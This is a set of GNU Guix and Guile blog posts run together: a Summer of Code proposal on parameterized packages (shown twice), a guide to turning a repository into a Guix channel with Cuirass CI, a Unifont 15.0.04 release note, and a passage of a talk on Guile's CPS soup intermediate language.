of these compile-time features; in fact, many advanced users such as
those using Guix on High-Performance Computing Systems
and new ISAs like RISC-V have already been doing this
by utilizing a feature known as Package Transformations.
Parameterized Packages are a new type of package transformations
that will be able to tweak an even wider array of compile-time
options, such as removing unused dependencies or building a package
with support for just a specific locale. These will have a wide
variety of applications, ranging from High-Performance Computing to
Embedded Systems and could also help tackle a few of Guix's issues
like large binary sizes and dense dependency graphs.
What would these look like?The syntax for parameterized packages is still under heavy
deliberation, however the final syntax will have the following
features:
Maintainers will be able to specify what combinations of
parameters a package supports, along with a default configuration
of parameters for a given package.
Users will be able to pass parameters they want enabled or disabled
through --with-parameters which will then get validated against the
valid combinations specified by maintainers before being run
For a given package and a given set of parameters, only those in
the package's parameter specification will be used
Users will be able to specify a global parameter transform that
will apply to all packages. Packages will be built with the
default configuration if the global transform creates an
invalid configuration.
Potential Problems with ParameterizationCombinatorial Explosion of VariantsOne of the biggest and most obvious issues with parameters is the
combinatorial explosion of package variants they will create. One way
to address this is to use tools to calculate and regulate allowed
complexity; one such tool could be a function that takes a
parameter combination specification and returns the number of variants
it could create.
Increase in Maintenance RequiredAnother concern is that this will lead to an increase in the workload
of maintainers, who have been generously volunteering their time and
have a lot of work as is. Hence, we will be treating parameters
the same way we have been treating other package transformations-
they are not expected to be stable, and should be used at the
user's discretion.
Availability of Substitutes for VariantsLastly, parameterization could lead to an exponential increase in
the number of substitutes build farms will have to create, and
thus as such there are only plans on building substitutes for
default and very popular parameter combinations.
Other topics under discussionSome of the other points of discussion with respect to parameters are
Scope: Parameterization has a very wide and overarching scope,
and it would be useful to have guidelines in place for when a
particular property should be considered for parameterization
Syntax: There are many proposed syntax designs for
parameterization, and more are welcome! The final syntax will most
probably be an amalgamation of the best parts of all proposed designs.
Substitutes: There is a lot of discussion on exactly what
parameter combinations should be considered for substitutes; while it
is obvious that it won't be possible to build all combinations, some
important combinations can and should be considered for having
substitutes built. We could perhaps have a separate category of
parameter combinations that would both receive substitutes and
support, and make these combinations discoverable through the
UI. Another suggestion is to have user-run channels for specific build
combinations, like for example there could be a RISC-V specific
channel supplying substitutes for the users running RISC-V.
If you would like to join the discussion, check out this mailing list
discussion about this project,
and also have a look at the original thread about parameterization.
ConclusionParameters hold the potential to greatly increase Guix's flexibility,
but will also lead to greater complexity. In my opinion, Guix is
uniquely positioned to take full advantage of the customizability
provided by compile-time options while also enjoying relative
stability thanks to its transactional nature.
About MeI'm a student studying Mathematics and ECE at BITS Pilani, and I love
computers and free software. I am the president of my university's
equivalent of a Free Software Advocacy Group, and I am also one of the
system administrators for my university's High-Performance Computing
System. As an advocate for free software and a Lisp user, I naturally
fell in love with GNU Guix when I discovered it. I have also used
Gentoo for some time in the past, which motivated me to try and bring
something similar to USE flags to Guix. You can find my blog at
blog.lispy.tech, where I will be frequently
posting updates about the project.
About GNU GuixGNU Guix is a transactional package manager
and an advanced distribution of the GNU system that respects user
freedom.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
Guile programming interfaces and
extensions to the Scheme language.
I'm Sarthak and I'll be working on implementing Parameterized Packages
for GNU Guix as a Google Summer of Code
intern under the guidance of Pjotr Prins and Gábor Boskovits.
What are Parameterized Packages?One of the many advantages of free software is the
availability of compile-time options for almost all packages.
Thanks to its dedication to building all packages from source,
Guix is one of the few GNU/Linux distributions that can take advantage
of these compile-time features; in fact, many advanced users such as
those using Guix on High-Performance Computing Systems
and new ISAs like RISC-V have already been doing this
by utilizing a feature known as Package Transformations.
Parameterized Packages are a new type of package transformations
that will be able to tweak an even wider array of compile-time
options, such as removing unused dependencies or building a package
with support for just a specific locale. These will have a wide
variety of applications, ranging from High-Performance Computing to
Embedded Systems and could also help tackle a few of Guix's issues
like large binary sizes and dense dependency graphs.
What would these look like?The syntax for parameterized packages is still under heavy
deliberation, however the final syntax will have the following
features:
Maintainers will be able to specify what combinations of
parameters a package supports, along with a default configuration
of parameters for a given package.
Users will be able to pass parameters they want enabled or disabled
through --with-parameters which will then get validated against the
valid combinations specified by maintainers before being run
For a given package and a given set of parameters, only those in
the package's parameter specification will be used
Users will be able to specify a global parameter transform that
will apply to all packages. Packages will be built with the
default configuration if the global transform creates an
invalid configuration.
Potential Problems with ParameterizationCombinatorial Explosion of VariantsOne of the biggest and most obvious issues with parameters is the
combinatorial explosion of package variants they will create. One way
to address this is to use tools to calculate and regulate allowed
complexity; one such tool could be a function that takes a
parameter combination specification and returns the number of variants
it could create.
Increase in Maintenance RequiredAnother concern is that this will lead to an increase in the workload
of maintainers, who have been generously volunteering their time and
have a lot of work as is. Hence, we will be treating parameters
the same way we have been treating other package transformations-
they are not expected to be stable, and should be used at the
user's discretion.
Availability of Substitutes for VariantsLastly, parameterization could lead to an exponential increase in
the number of substitutes build farms will have to create, and
thus as such there are only plans on building substitutes for
default and very popular parameter combinations.
Other topics under discussionSome of the other points of discussion with respect to parameters are
Scope: Parameterization has a very wide and overarching scope,
and it would be useful to have guidelines in place for when a
particular property should be considered for parameterization
Syntax: There are many proposed syntax designs for
parameterization, and more are welcome! The final syntax will most
probably be an amalgamation of the best parts of all proposed designs.
Substitutes: There is a lot of discussion on exactly what
parameter combinations should be considered for substitutes; while it
is obvious that it won't be possible to build all combinations, some
important combinations can and should be considered for having
substitutes built. We could perhaps have a separate category of
parameter combinations that would both receive substitutes and
support, and make these combinations discoverable through the
UI. Another suggestion is to have user-run channels for specific build
combinations, like for example there could be a RISC-V specific
channel supplying substitutes for the users running RISC-V.
If you would like to join the discussion, check out this mailing list
discussion about this project,
and also have a look at the original thread about parameterization.
ConclusionParameters hold the potential to greatly increase Guix's flexibility,
but will also lead to greater complexity. In my opinion, Guix is
uniquely positioned to take full advantage of the customizability
provided by compile-time options while also enjoying relative
stability thanks to its transactional nature.
About MeI'm a student studying Mathematics and ECE at BITS Pilani, and I love
computers and free software. I am the president of my university's
equivalent of a Free Software Advocacy Group, and I am also one of the
system administrators for my university's High-Performance Computing
System. As an advocate for free software and a Lisp user, I naturally
fell in love with GNU Guix when I discovered it. I have also used
Gentoo for some time in the past, which motivated me to try and bring
something similar to USE flags to Guix. You can find my blog at
blog.lispy.tech, where I will be frequently
posting updates about the project.
About GNU GuixGNU Guix is a transactional package manager
and an advanced distribution of the GNU system that respects user
freedom.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
Guile programming interfaces and
extensions to the Scheme language.
Guix is a handy tool for developers; guix shell,in particular, gives a standalone development environment for yourpackage, no matter what language(s) it’s written in. To benefit fromit, you have to initially write a package definition and have it eitherin Guix proper, in a channel, or directly upstream as a guix.scm file.This last option is appealing: all developers have to do to get set upis clone the project's repository and run guix shell, with noarguments—we looked at the rationale for guix shell in an earlierarticle.
Development needs go beyond development environments though. How candevelopers perform continuous integration of their code in Guix buildenvironments? How can they deliver their code straight to adventuroususers? This post describes a set of files developers can addto their repository to set up Guix-based developmentenvironments, continuous integration, and continuous delivery—all atonce.
Getting started
How do we go about “Guixifying” a repository? The first step, as we’veseen, will be to add a guix.scm at the root of the repository inquestion. We’ll take Guileas an example in this post: it’s written in Scheme (mostly) and C, andhas a number of dependencies—a C compilation tool chain, C libraries,Autoconf and its friends, LaTeX, and so on. The resulting guix.scmlooks like the usual packagedefinition,just without the define-public bit:
;; The ‘guix.scm’ file for Guile, for use by ‘guix shell’.(use-modules (guix) (guix build-system gnu) ((guix licenses) #:prefix license:) (gnu packages autotools) (gnu packages base) (gnu packages bash) (gnu packages bdw-gc) (gnu packages compression) (gnu packages flex) (gnu packages gdb) (gnu packages gettext) (gnu packages gperf) (gnu packages libffi) (gnu packages libunistring) (gnu packages linux) (gnu packages pkg-config) (gnu packages readline) (gnu packages tex) (gnu packages texinfo) (gnu packages version-control))(package (name "guile") (version "3.0.99-git") ;funky version number (source #f) ;no source (build-system gnu-build-system) (native-inputs (append (list autoconf automake libtool gnu-gettext flex texinfo texlive-base ;for "make pdf" texlive-epsf gperf git gdb strace readline lzip pkg-config) ;; When cross-compiling, a native version of Guile itself is ;; needed. (if (%current-target-system) (list this-package) '()))) (inputs (list libffi bash-minimal)) (propagated-inputs (list libunistring libgc)) (native-search-paths (list (search-path-specification (variable "GUILE\_LOAD\_PATH") (files '("share/guile/site/3.0"))) (search-path-specification (variable "GUILE\_LOAD\_COMPILED\_PATH") (files '("lib/guile/3.0/site-ccache"))))) (synopsis "Scheme implementation intended especially for extensions") (description "Guile is the GNU Ubiquitous Intelligent Language for Extensions,and it's actually a full-blown Scheme implementation!") (home-page "https://www.gnu.org/software/guile/") (license license:lgpl3+))
Quite a bit of boilerplate, but now someone who’d like to hack on Guilejust needs to run:
guix shell
That gives them a shell containing all the dependencies of Guile: thoselisted above, but also implicit dependencies such as the GCC toolchain, GNU Make, sed, grep, and so on. The chef’s recommendation:
guix shell --container --link-profile
That gives a shell in an isolated container, and all the dependenciesshow up in $HOME/.guix-profile, which plays well with caches such asconfig.cacheand absolute file names recorded in generated Makefiles and the likes.The fact that the shell runs in a container brings peace of mind:nothing but the current directory and Guile’s dependencies is visibleinside the container; nothing from the system can possibly interferewith your development.
Level 1: Building with Guix
Now that we have a package definition, why not also take advantage of itso we can build Guile with Guix? We had left the source field empty,because guix shell above only cares about the inputs of ourpackage—so it can set up the development environment—not about thepackage itself.
To build the package with Guix, we’ll need to fill out the sourcefield, along these lines:
(use-modules (guix) (guix git-download) ;for ‘git-predicate’ …)(define vcs-file? ;; Return true if the given file is under version control. (or (git-predicate (current-source-directory)) (const #t))) ;not in a Git checkout(package (name "guile") (version "3.0.99-git") ;funky version number (source (local-file "." "guile-checkout" #:recursive? #t #:select? vcs-file?)) …)
Here’s what we changed:
We added (guix git-download) to our set of imported modules, so wecan use its git-predicate procedure.
We defined vcs-file? as a procedure that returns true when passeda file that is under version control. For good measure, we add afallback case for when we’re not in a Git checkout: always returntrue.
We set source to alocal-file—arecursive copy of the current directory ("."), limited to filesunder version control (the #:select? bit).
From there on, our guix.scm file serves a second purpose: it lets usbuild the software with Guix. The whole point of building with Guix isthat it’s a “clean” build—you can be sure nothing from your working treeor system interferes with the build result—and it lets you test avariety of things. First, you can do a plain native build:
# What if we built with Clang instead of GCC?guix build -f guix.scm \ --with-c-toolchain=guile@3.0.99-git=clang-toolchain# What about that under-tested configure flag?guix build -f guix.scm \ --with-configure-flag=guile@3.0.99-git=--disable-networking
Handy!
Level 2: The repository as a channel
We now have a Git repository containing (among other things) a packagedefinition. Can’t we turn it into achannel?After all, channels are designed to ship package definitions to users,and that’s exactly what we’re doing with our guix.scm.
Turns out we can indeed turn it into a channel, but with one caveat: wemust create a separate directory for the .scm file(s) of our channelso that guix pull doesn’t load unrelated .scm files whensomeone pulls the channel—and in Guile, there are lots of them! Sowe’ll start like this, keeping a top-level guix.scm symlink for thesake of guix shell:
To make it usable as part of a channel, weneed to turn our guix.scm file into amodule:we do that by changing the use-modules form at the top to adefine-module form. We also need to actually export a packagevariable, with define-public, while still returning the package valueat the end of the file so we can still use guix shell and guix build -f guix.scm. The end result looks like this (not repeating things thathaven’t changed):
(define-module (guile-package) #:use-module (guix) #:use-module (guix git-download) ;for ‘git-predicate’ …)(define-public guile (package (name "guile") (version "3.0.99-git") ;funky version number …));; Return the package object define above at the end of the module.guile
We need one last thing: a .guix-channelfileso Guix knows where to look for package modules in our repository:
;; This file lets us present this repo as a Guix channel.(channel (version 0) (directory ".guix/modules")) ;look for package modules under .guix/modules/
And that’s it: we have a channel! (We could do better and supportchannelauthenticationso users know they’re pulling genuine code. We’ll spare you the detailshere but it’s worth considering!) Users can pull from this channel byadding it to~/.config/guix/channels.scm,along these lines:
That’s how, as a developer, you get your software delivered directly intothe hands of users! No intermediaries, yet no loss of transparency andprovenance tracking.
With that in place, it also becomes trivial for anyone to create Dockerimages, Deb/RPM packages, or a plain tarball with guix pack:
# How about a Docker image of our Guile snapshot?guix pack -f docker -S /bin=bin guile@3.0.99-git# And a relocatable RPM?guix pack -f rpm -R -S /bin=bin guile@3.0.99-git
Bonus: Package variants
We now have an actual channel, but it contains only one package. Whilewe’re at it, we can define packagevariantsin our guile-package.scm file, variants that we want to be able totest as Guile developers—similar to what we did above withtransformation options. We can add them like so:
;; This is the ‘.guix/modules/guile-package.scm’ file.(define-module (guile-package) …)(define-public guile …)(define (package-with-configure-flags p flags) "Return P with FLAGS as addition 'configure' flags." (package/inherit p (arguments (substitute-keyword-arguments (package-arguments p) ((#:configure-flags original-flags #~(list)) #~(append #$original-flags #$flags))))))(define-public guile-without-threads (package (inherit (package-with-configure-flags guile #~(list "--without-threads"))) (name "guile-without-threads")))(define-public guile-without-networking (package (inherit (package-with-configure-flags guile #~(list "--disable-networking"))) (name "guile-without-networking")));; Return the package object defined above at the end of the module.guile
We can build these variants as regular packages once we’ve pulled thechannel. Alternatively, from a checkout of Guile, we can run a command likethis one from the top level:
This channel becomes even more interesting once we set up continuousintegration (CI).There are several ways to do that.
You can use one of the mainstream continuous integration tools, such asGitLab-CI. To do that, you need to make sure you run jobs in a Dockerimage or virtual machine that has Guix installed. If we were to do thatin the case of Guile, we’d have a job that runs a shell command likethis one:
guix build -L $PWD/.guix/modules guile@3.0.99-git
Doing this works great and has the advantage of being easy to achieve onyour favorite CI platform.
That said, you’ll really get the most of it by usingCuirass, a CI tool designed for andtightly integrated with Guix. Using it is more work than using a hostedCI tool because you first need to set it up, but that setup phase isgreatly simplified if you use its Guix Systemservice.Going back to our example, we give Cuirass a spec file that goes likethis:
;; Cuirass spec file to build all the packages of the ‘guile’ channel.(list (specification (name "guile") (build '(channels guile)) (channels (append (list (channel (name 'guile) (url "https://git.savannah.gnu.org/git/guile.git") (branch "main"))) %default-channels))))
It differs from what you’d do with other CI tools in two important ways:
Cuirass knows it’s tracking two channels, guile and guix.Indeed, our own guile package depends on many packages provided bythe guix channel—GCC, the GNU libc, libffi, and so on. Changes topackages from the guix channel can potentially influence ourguile build and this is something we’d like to see as soon aspossible as Guile developers.
Build results are not thrown away: they can be distributed assubstitutesso that users of our guile channel transparently get pre-builtbinaries!
From a developer’s viewpoint, the end result is this statuspage listing evaluations: eachevaluation is a combination of commits of the guix and guilechannels providing a number of jobs—one job per package defined inguile-package.scm times the number of target architectures.
As for substitutes, they come for free! As an example, since ourguile jobset is built on ci.guix.gnu.org, which runs guix publishin addition to Cuirass, one automatically gets substitutes for guilebuilds from ci.guix.gnu.org; no additional work is needed for that.
Bonus: Build manifest
The Cuirass spec above is convenient: it builds every package in ourchannel, which includes a few variants. However, this might beinsufficiently expressive in some cases: one might want specificcross-compilation jobs, transformations, Docker images, RPM/Debpackages, or even system tests.
To achieve that, you can write amanifest.The one we have for Guile has entries for the package variants wedefined above, as well as additional variants and cross builds:
We won’t go into the details of this manifest; suffice to say that itprovides additional flexibility. We now need to tell Cuirass to buildthis manifest, which is done with a spec slightly different from theprevious one:
;; Cuirass spec file to build all the packages of the ‘guile’ channel.(list (specification (name "guile") (build '(manifest ".guix/manifest.scm")) (channels (append (list (channel (name 'guile) (url "https://git.savannah.gnu.org/git/guile.git") (branch "main"))) %default-channels))))
We changed the (build …) part of the spec to '(manifest ".guix/manifest.scm") so that it would pick our manifest, and that’sit!
Wrapping up
We picked Guile as the running example in this post and you can see theresult here:
These days, repositories are commonly peppered with dot files forvarious tools: .envrc, .gitlab-ci.yml, .github/workflows,Dockerfile, .buildpacks, Aptfile, requirements.txt, and whatnot.It may sound like we’re proposing a bunch of additional files, but infact those files are expressive enough to supersede most or all ofthose listed above.
With a couple of files, we get support for:
development environments (guix shell);
pristine test builds, including for package variants and forcross-compilation (guix build);
continuous integration (with Cuirass or with some other tool);
continuous delivery to users (via the channel and with pre-builtbinaries);
generation of derivative build artifacts such as Docker images orDeb/RPM packages (guix pack).
At the Guix headquarters, we’re quite happy about the result. We’vebeen building a unified tool set for reproducible software deployment;this is an illustration of how you as a developer can benefitfrom it!
Acknowledgments
Thanks to Attila Lendvai, Brian Cully, and Ricardo Wurmus for providingfeedback on an earlier draft of this post.
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
28 May 2023 Unifont 15.0.04 is now available. This is a minor release, and the final release to have TrueType fonts in its default build. Future releases will only build their OpenType equivalents, although it will still be possible to build TrueType versions manually by invoking "make truetype" in the font directory.
Minor changes have been made to Greek and Coptic glyphs in the range U+0370..U+03FF, adjusting the tonos placement for capital vowels and ensuring that all baseline and x-height alignments are consistent. Two heart icons were modified. Glyphs for the ConScript Unicode Registry (CSUR) script Engsvanyáli (U+E100..U+E14F) have also been added. Full details are in the ChangeLog file.
Good evening, hackers. Today's missive is more of a massive, in thesense that it's another presentation transcript-alike; these things alwaystranslate to many vertical pixels.
In my defense, I hardly ever give apresentation twice, so not only do I miss out on the usualper-presentation cost amortization and on the incremental improvementsof repetition, the more dire error is that whatever message I might havecan only ever reach a subset of those that it might interest; here atleast I can be more or less sure that if the presentation would interestsomeone, that they will find it.
So for the time being I will try toshare presentations here, in the spirit of, well, why the hell not.
CPS Soup
A functional intermediate language
10 May 2023 – Spritely
Andy Wingo
Igalia, S.L.
Last week I gave a training talk to SpritelyInstitute collaborators on the intermediaterepresentation used by Guile's compiler.
CPS Soup
Compiler: Front-end to Middle-end to Back-end
Middle-end spans gap between high-level source code (AST) and low-level machine code
Programs in middle-end expressed in intermediate language
CPS Soup is the language of Guile’s middle-end
An intermediate representation (IR) (or intermediate language, IL)is just another way to express a computer program. Specifically it'sthe kind of language that is appropriate for the middle-end of acompiler, and by "appropriate" I meant that an IR serves a purpose:there has to be a straightforward transformation to the IR fromhigh-level abstract syntax trees (ASTs) from the front-end, and therehas to be a straightforward translation from IR to machine code.
There are also usually a set of necessary source-to-sourcetransformations on IR to "lower" it, meaning to make it closer to theback-end than to the front-end. There are usually a set of optionaltransformations to the IR to make the program run faster or allocateless memory or be more simple: these are the optimizations.
"CPS soup" is Guile's IR. This talk presents the essentials of CPS soupin the context of more traditional IRs.
Before we dive in, consider what we might call the dynamic range of anintermediate representation: we start with what is usually an algebraicformulation of a program and we need to get down to a specific sequenceof instructions operating on registers (unlimited in number, at thisstage; allocating to a fixed set of registers is a back-end concern),with explicit control flow between them. What kind of a language mightbe good for this? Let's attempt to answer the question by looking intowhat the standard solutions are for this problem domain.
1970s
Control-flow graph (CFG)
graph := array<block>block := tuple<preds, succs, insts>inst := goto B | if x then BT else BF | z = const C | z = add x, y ...BB0: if x then BB1 else BB2BB1: t = const 42; goto BB3BB2: t = const 69; goto BB3BB3: t2 = addi t, 1; ret t2
Assignment, not definition
Of course in the early days, there was no intermediate language;compilers translated ASTs directly to machine code. It's been a whilesince I dove into all this but the milestone I have in my head is thatit's the 70s when compiler middle-ends come into their own right, withFran Allen's work on flow analysis and optimization.
In those days the intermediate representation for a compiler was a graphof basic blocks, but unlike today the paradigm was assignment tolocations rather than definition of values. By that I mean that in ourexample program, we get t assigned to in two places (BB1 and BB2); theactual definition of t is implicit, as a storage location, and ourgraph consists of assignments to the set of storage locations in theprogram.
1980s
Static single assignment (SSA) CFG
graph := array<block>block := tuple<preds, succs, phis, insts>phi := z := φ(x, y, ...)inst := z := const C | z := add x, y ...BB0: if x then BB1 else BB2BB1: v0 := const 42; goto BB3BB2: v1 := const 69; goto BB3BB3: v2 := φ(v0,v1); v3:=addi t,1; ret v3
Phi is phony function: v2 is v0 if coming from first predecessor, or v1 from second predecessor
These days we still live in Fran Allen's world, but with a twist: we nolonger model programs as graphs of assignments, but rather graphs ofdefinitions. The introduction in the mid-80s of so-called "staticsingle-assignment" (SSA) form graphs mean that instead of having twoassignments to t, we would define two different values v0 and v1.Then later instead of reading the value of the storage locationassociated with t, we define v2 to be eitherv0 or v1: theformer if we reach the use of t in BB3 from BB1, the latter if we arecoming from BB2.
If you think on the machine level, in terms of what the resultingmachine code will be, this either function isn't a real operation;probably register allocation will put v0, v1, and v2 in the sameplace, say $rax. The function linking the definition of v2 to theinputs v0 and v1 is purely notational; in a way, you could say thatit is phony, or not real. But when the creators of SSA went to submitthis notation for publication they knew that they would need somethingthat sounded more rigorous than "phony function", so they instead called it a "phi" (φ)function. Really.
BB0(a0): if a0 then BB1() else BB2()BB1(): v0 := const 42; BB3(v0)BB2(): v1 := const 69; BB3(v1)BB3(v2): v3 := addi v2, 1; ret v3
SSA is still where it's at, as a conventional solution to the IRproblem. There have been some refinements, though. I learned of one ofthem from MLton; I don't know if they were firstbut they had the idea of interpreting phi variables as arguments tobasic blocks. In this formulation, you don't have explicit phiinstructions; rather the "v2 is either v1 or v0" property isexpressed by v2 being a parameter of a block which is "called" witheither v0 or v1 as an argument. It's the same semantics, but aninteresting notational change.
Refinement: Control tail
Often nice to know how a block ends (e.g. to compute phi input vars)
graph := array<block>block := tuple<preds, succs, args, insts, control>control := if v then L1 else L2 | L(v, ...) | switch(v, L1, L2, ...) | ret v
One other refinement to SSA is to note that basic blocks consist of somenumber of instructions that can define values or have side effects butwhich otherwise exhibit fall-through control flow, followed by a singleinstruction that transfers control to another block. We might as wellstore that control instruction separately; this would let us easily knowhow a block ends, and in the case of phi block arguments, easily saywhat values are the inputs of a phi variable. So let's do that.
At this point we notice that we are repeating ourselves; the successorsof a block can be computed directly from the block's terminal controlinstruction. Let's drop those as a distinct part of a block, becausewhen you transform a program it's unpleasant to have to needlesslyupdate something in two places.
While we're doing that, we note that the predecessors array is alsoredundant, as it can be computed from the graph of block successors.Here we start to wonder: am I simpliying or am I removing something thatis fundamental to the algorithmic complexity of the various graphtransformations that I need to do? We press on, though, hoping we willget somewhere interesting.
Basic blocks are annoying
Ceremony about managing insts; array or doubly-linked list?
Nonuniformity: “local” vs ‘`global’' transformations
Optimizations transform graph A to graph B; mutability complicates this task
Desire to keep A in mind while making B
Bugs because of spooky action at a distance
Recall that the context for this meander is Guile's compiler, which is written in Scheme. Scheme doesn't have expandable arrays built-in. Youcan build them, of course, but it is annoying. Also, in Scheme-land,functions with side-effects are conventionally suffixed with anexclamation mark; after too many of them, both the writer and thereader get fatigued. I know it's a silly argument but it's one of thethings that made me grumpy about basic blocks.
If you permit me to continue with this introspection, I find there is anuneasy relationship between instructions and locations in an IR that isstructured around basic blocks. Do instructions live in afunction-level array and a basic block is an array of instructionindices? How do you get from instruction to basic block? How would youhoist an instruction to another basic block, might you need toreallocate the block itself?
And when you go to transform a graph of blocks... well how do you dothat? Is it in-place? That would be efficient; but what if you need torefer to the original program during the transformation? Might you riskreading a stale graph?
It seems to me that there are too many concepts, that in the same waythat SSA itself moved away from assignment to a more declarativelanguage, that perhaps there is something else here that might be moreappropriate to the task of a middle-end.
Basic blocks, phi vars redundant
Blocks: label with args sufficient; “containing” multiple instructions is superfluous
Unify the two ways of naming values: every var is a phi
graph := array<block>block := tuple<args, inst>inst := L(expr) | if v then L1() else L2() ...expr := const C | add x, y ...
I took a number of tacks here, but the one I ended up on was to declarethat basic blocks themselves are redundant. Instead of containing anarray of instructions with fallthrough control-flow, why not just makeevery instruction a control instruction? (Yes, there are argumentsagainst this, but do come along for the ride, we get to a funny place.)
While you are doing that, you might as well unify the two ways in whichvalues are named in a MLton-style compiler: instead of distinguishingbetween basic block arguments and values defined within a basic block,we might as well make all names into basic block arguments.
Arrays annoying
Array of blocks implicitly associates a label with each block
Optimizations add and remove blocks; annoying to have dead array entries
Keep labels as small integers, but use a map instead of an array
graph := map<label, block>
In the traditional SSA CFG IR, a graph transformation would often nottouch the structure of the graph of blocks. But now having given eachinstruction its own basic block, we find that transformations of theprogram necessarily change the graph. Consider an instruction that weelide; before, we would just remove it from its basic block, or replaceit with a no-op. Now, we have to find its predecessor(s), and forwardthem to the instruction's successor. It would be useful to have a morecapable data structure to represent this graph. We might as well keeplabels as being small integers, but allow for sparse maps and growth byusing an integer-specialized map instead of an array.
This is CPS soup
graph := map<label, cont>cont := tuple<args, term>term := continue to L with values from expr | if v then L1() else L2() ...expr := const C | add x, y ...
SSA is CPS
This is exactly what CPS soup is! We came at it "from below", so tospeak; instead of the heady fumes of the lambda calculus, we get herefrom down-to-earth basic blocks. (If you prefer the other way around,you might enjoy this article from a long timeago.)The remainder of this presentation goes deeper into what it is like towork with CPS soup in practice.
Scope and dominators
BB0(a0): if a0 then BB1() else BB2()BB1(): v0 := const 42; BB3(v0)BB2(): v1 := const 69; BB3(v1)BB3(v2): v3 := addi v2, 1; ret v3
What vars are “in scope” at BB3? a0 and v2.
Not v0; not all paths from BB0 to BB3 define v0.
a0 always defined: its definition dominates all uses.
BB0 dominates BB3: All paths to BB3 go through BB0.
Before moving on, though, we should discuss what it means in anSSA-style IR that variables are defined rather than assigned. If youconsider variables as locations to which values can be assigned andwhich initially hold garbage, you can read them at any point in yourprogram. You might get garbage, though, if the variable wasn't assignedsomething sensible on the path that led to reading the location's value.It sounds bonkers but it is still the C and C++ semantic model.
If we switch instead to a definition-oriented IR, then a variable neverhas garbage; the single definition always precedes any uses of thevariable. That is to say that all paths from the function entry to theuse of a variable must pass through the variable's definition, or, inthe jargon, that definitions dominate uses. This is an invariant ofan SSA-style IR, that all variable uses be dominated by their associateddefinition.
You can flip the question around to ask what variables are available foruse at a given program point, which might be read equivalently as whichvariables are in scope; the answer is, all definitions from all programpoints that dominate the use site. The "CPS" in "CPS soup" stands forcontinuation-passing style, a dialect of the lambda calculus, whichhas also has a history of use as a compiler intermediate representation.But it turns out that if we use the lambda calculus in its conventionalform, we end up needing to maintain a lexical scope nesting at the sametime that we maintain the control-flow graph, and the lexical scope treecan fail to reflect the dominator tree. I go into this topic in moredetail in an oldarticle, and if itinterests you, please do go deep.
CPS soup in Guile
Compilation unit is intmap of label to cont
cont := $kargs names vars term | ...term := $continue k src expr | ...expr := $const C | $primcall ’add #f (a b) | ...
Conventionally, entry point is lowest-numbered label
Anyway! In Guile, the concrete form that CPS soup takes is that aprogram is an intmap of label to cont. A cont is the smallestlabellable unit of code. You can call them blocks if that makes youfeel better. One kind of cont, $kargs, binds incoming values tovariables. It has a list of variables, vars, and also has anassociated list of human-readable names, names, for debuggingpurposes.
A $kargs contains a term, which is like a control instruction. Onekind of term is $continue, which passes control to a continuation k.Using our earlier language, this is just goto *k*, with values, as inMLton. (The src is a source location for the term.) The values comefrom the term's expr, of which there are a dozen kinds or so, forexample $const which passes a literal constant, or $primcall, whichinvokes some kind of primitive operation, which above is add. Theprimcall may have an immediate operand, in this case #f, and somevariables that it uses, in this case a and b. The number and typeof the produced values is a property of the primcall; some are just foreffect, some produce one value, some more.
CPS soup
term := $continue k src expr | $branch kf kt src op param args | $switch kf kt* src arg | $prompt k kh src escape? tag | $throw src op param args
Expressions can have effects, produce values
expr := $const val | $primcall name param args | $values args | $call proc args | ...
There are other kinds of terms besides $continue: there is $branch,which proceeds either to the false continuation kf or the truecontinuation kt depending on the result of performing op on thevariables args, with immediate operand param. In our runningexample, we might have made the initial term via:
(build-term ($branch BB1 BB2 'false? #f (a0)))
The definition of build-term (and build-cont and build-exp) is inthe (language cps)module.
There is also $switch, which takes an unboxed unsigned integer argand performs an array dispatch to the continuations in the list kt,or kf otherwise.
There is $prompt which continues to its k, having pushed on a newcontinuation delimiter associated with the var tag; if code aborts totag before the prompt exits via an unwind primcall, the stack willbe unwound and control passed to the handler continuation kh. Ifescape? is true, the continuation is escape-only and aborting to theprompt doesn't need to capture the suspended continuation.
Finally there is $throw, which doesn't continue at all, because itcauses a non-resumable exception to be thrown. And that's it; it's justa handful of kinds of term, determined by the different shapes ofcontrol-flow (how many continuations the term has).
When it comes to values, we have about a dozen expression kinds. We saw$const and $primcall, but I want to explicitly mention $values,which simply passes on some number of values. Often a $valuesexpression corresponds to passing an input to a phi variable, though$kargs vars can get their definitions from any expression thatproduces the right number of values.
Kinds of continuations
Guile functions untyped, can multiple return values
Error if too few values, possibly truncate too many values, possibly cons as rest arg...
Calling convention: contract between val producer & consumer
both on call and return side
Continuation of $call unlike that of $const
When a $continue term continues to a $kargs with a $const 42expression, there are a number of invariants that the compiler canensure: that the $kargs continuation is always passed the expectednumber of values, that the vars that it binds can be allocated tospecific locations (e.g. registers), and that because all predecessorsof the $kargs are known, that those predecessors can place theirvalues directly into the variable's storage locations. Effectively, thecompiler determines a custom calling convention between each $kargsand its predecessors.
Consider the $call expression, though; in general you don't know whatthe callee will do to produce its values. You don't even generally knowthat it will produce the right number of values. Therefore $callcan't (in general) continue to $kargs; instead it continues to$kreceive, which expects the return values in well-known places. $kreceive willcheck that it is getting the right number of values and then continue toa $kargs, shuffling those values into place. A standard callingconvention defines how functions return values to callers.
$call and return (and $throw, $prompt) exit first-order flow graph
Of course, a $call expression could be a tail-call, in which case itwould continue instead to $ktail, indicating an exit from thefirst-order function-local control-flow graph.
